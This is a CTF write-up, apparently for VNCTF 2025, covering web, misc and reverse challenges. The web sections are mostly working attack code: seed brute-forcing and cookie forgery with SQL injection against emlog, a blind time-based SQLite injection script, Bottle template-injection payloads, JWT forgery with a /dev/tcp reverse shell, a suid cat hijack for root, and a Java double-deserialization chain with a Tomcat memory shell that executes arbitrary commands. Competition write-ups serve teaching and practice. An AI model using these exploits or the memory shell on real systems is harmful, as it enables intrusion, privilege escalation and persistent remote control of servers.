WEB#
ez_emlog#
猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。
一条人一只烟 一道web干一天
也是给我挖上0day了
拉源码做审计

跟一下,使用mt_rand生成随机数

由于这两个都调用了getRandStr函数,分别查看调用

account.php的logout接口设置了cookie,可以访问看一下


果然返回了,那么就可以逆序getRandStr进行解密后补零进行seed爆破
mt_rand()函数的特性-MT19937
- MT19937有624个内部状态
- 每个状态是32位整数
- 需要624个连续的输出才能完全确定内部状态
我们需要补32组0 0 0 0提供足够的状态信息
<?php
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$chars_length = strlen($chars) - 1;
$p = 'RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr';
for ($i = 0; $i < 128; $i++) {
echo "0 ";
}
for ($i = 0; $i < strlen($p); $i++) {
$number = strpos($chars, $p[$i]);
echo "$number $number 0 $chars_length ";
}
得到seed

拿到种子第一件事就是伪造cookie
但是在loginauth.php中发现与用户名有关联


于是想到sql注入,将username部分进行报错注入(exp下面有
GET /admin/../ HTTP/1.1
Host: node.vnteam.cn:48595
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Cookie: EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1' and updatexml(1,concat(0x7e,(select(database())),0x7e),1) #|0|a916cc182f4f3d080acb6a0b356da6a7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.vnteam.cn:48595/admin/account.php?action=logout
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
中间靶机到期了




到这里停了,看到user表,可以停住进去查看一下
1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='emlog_user'),0x7e))#然后就可以查看username
最终exp
<?php
$seed = 2430606281;
mt_srand($seed);
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
$retStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;
$username = "1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),20,32) from emlog.emlog_user),0x7e),1) #";
$expiration = 0;
$data = $username . '|' . $expiration;
$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;

得到username(一共33位,substr截断即可
1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm伪造admin身份进后台
<?php
$seed = 2430606281;
mt_srand($seed);
$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
$retStr .= substr($rand_string, mt_rand(0, strlen($rand_string) - 1), 1);
}
$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;
$username = "1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm";
$expiration = 0;
$data = $username . '|' . $expiration;
$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;
然后就简单了,对着开发文档上传木马即可


创建对应目录结构然后打包上传




奶龙回家#
小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次
时间盲注 过滤了sleep使用randomblob延时
过滤= 使用>和二分法进行注入
import requests
import time
url = 'http://node.vnteam.cn:44425/login'
flag = ''
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.2)
payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)/*".format(i, chr(mid))
# payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
# payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
payload = payload.replace(' ', '/**/')
payload = payload.format(i, chr(mid))
datas = {
"username": "123",
"password": payload
}
# print(datas)
start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()
spend_time = end_time - start_time
if spend_time >= 0.19:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag = flag + chr(mid)
print(flag)
print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))
学生姓名登记系统#
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
python的单文件框架有Flask Bottle Falcon Sanic Tornado FastAPI等等

经分析是一个bottle框
bottle框架可以任意执行单行python代码

另外 字符串有长度限制 已知bottle上下文具有关联功能
直接
"""
%a=__builtins__
"""
{{a}}查看函数发现open

直接open会hacker,单引号绕过
"""
%a=__builtins__
%b='op''en'
"""
{{a[b]}}拼接最终payload
"""
%a=__builtins__
%b='op''en'
%c='/flag'
"""
{{a[b](c).read()}}官方wp
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subc
lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__global
s__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0
a{{x:=i("/flag")}}%0a{{y:=x.read()}}思路大同小异
比如输入{{print(5)}},实际上5已经输入到控制台了 拼接{{a:=5}}%0a{{print(a)}}发现能读上下文,同理得到flag

Gin#
go是世界上最好的语言
查看routes.go可以大致看出
普通用户注册后有个上传功能,admin有个eval路由,应该可以执行代码

并且发现有一个jwt,可以注册个用户看看先

注册一个用户后登录

jwt解密

然后可以看一下jwt相关逻辑

将年份作为种子,生成0-999拼接上config.Key()
不过题目源码没给key

上传任意文件,发现提供了预览和下载两种模式

download发现任意文件下载

直接读../config/key.go

package config
func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}
抠出来得key
package main
import (
"fmt"
"math/rand"
)
func main() {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
fmt.Println(key)
}
得到key
122r00t32l重新加密

得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkzNDQ5MjIsImlhdCI6MTczOTI1ODUyMn0.B9r2Fa74H1ENzpZbtpIehx7um0kKI1lSMix4g-RsqxY
然后就可以看看有什么库可以命令执行的

整个反弹shell代码
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i >& /dev/tcp/ip/7777 0>&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))", "os/exec", "fmt")
fmt.Println(string(cmd))
}

根目录上是假flag

查看suid时发现又哥Cat很可疑 执行后回显/flag得内容 猜测执行的是cat /flag

劫持cat即可获得root权限

查看不再使用cat

javaGuide#
java反序列化第一步(题目环境不出网)
不会java web 留个档
2025/2/25来擦屁股了
com.example.javaguide.controller.IndexController中发现反序列化路由

com.example.javaguide.MyObjectInputStream

继承了ObjectInputStream
重写了resolveClass添加了安全限制

可以考虑二次反序列化绕过
原理为resolveClass只在第一次反序列化时被调用
第一次反序列化链子#
第一次反序列化的链子的目的是找到第二次反序列化的入口
fastjson反序列化有一条链子就是通过
BadAttributeValueExpException::readObject()->JSONObject::toString()把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。
第二次反序列化链子#
接下来我们就是要找到一个类,并且满足:
- 有
get方法 get方法里面能够直接或间接调用readObject()
而这个类就是⽤SignedObject::getObject()、
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.security.SignedObject;
import java.util.Base64;
import com.Memshell.tomcat.BehinderFilterShell2;
import static com.Utils.Util.*;
public class test {
public static void main(String[] args) throws Exception {
//生成一个templates
byte[] bytes = ClassPool.getDefault().get(BehinderFilterShell2.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
//获取进行了动态代理的templatesImpl,保证触发getOutput
Object template = getPOJONodeStableProxy(templates);
//fastjson原生链
Object fastjsonEventListenerList1 = getFastjsonEventListenerList(template);
//二次反序列化
SignedObject signedObject = second_serialize(fastjsonEventListenerList1);
//fastjson原生链
Object fastjsonEventListenerList2 = getFastjsonEventListenerList(signedObject);
//base64加密输出
String b64_payload = serialize(fastjsonEventListenerList2);
System.out.println(b64_payload);
//测试是否成功rce
//byte[] decode = Base64.getDecoder().decode(b64_payload);
//ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
//myObjectInputStream.readObject();
}
}
内存马
package com.Memshell.tomcat;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.reflect.ReflectionFactory;
import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Scanner;
public class BehinderFilterShell2 extends AbstractTranslet implements Filter {
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(Object obj,String fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;
}
public BehinderFilterShell2() throws Exception {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources");
StandardContext context = (StandardContext) resources.getContext();
String filterName = "fffff";
//构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
//构造FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(this);
//通过反射机制获取构造器,然后创建对象
ApplicationFilterConfig applicationFilterConfig = createWithConstructor(
ApplicationFilterConfig.class, ApplicationFilterConfig.class,
//形参类型
new Class[]{Context.class, FilterDef.class},
//实参
new Object[]{context, filterDef}
);
//获取到context里的filterConfigs,然后将applicationFilterConfig加入
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);
context.addFilterDef(filterDef);
context.addFilterMap(filterMap);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String arg0 = request.getParameter("cmd");
if (arg0 != null) {
PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
chain.doFilter(request,response);
}
} catch (Exception var8) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}MISC#
VN_Lang#
我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?
010一看就有
Echo Flowers#
英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44'/60'/0'/0/0),并将助记词导入了首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?
本题附件下载地址:百度网盘 或 Google Drive
114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的。
附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。
你应该从手机镜像中取证找回数字钱包。
附件中gift文件夹的内容不是解题所必需的。
FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .
美亚杯后遗症。。
手机钱包通过助记词导入,不难想到输入法
echo_flowers-disk1.vmdk/分区2/android-7.1-r5/data/data/com.sohu.inputmethod.sogouoem/files/dict

导出后strings大法

❯ cd dict
❯ strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashionbip39网站解密即可

REVERSE#
Hook Fish#
钓到的鱼怎么跑了?
frida脚本发现是一串密文比较

主程序发现动态加载了hookfish.dex

下载后对应解密即可
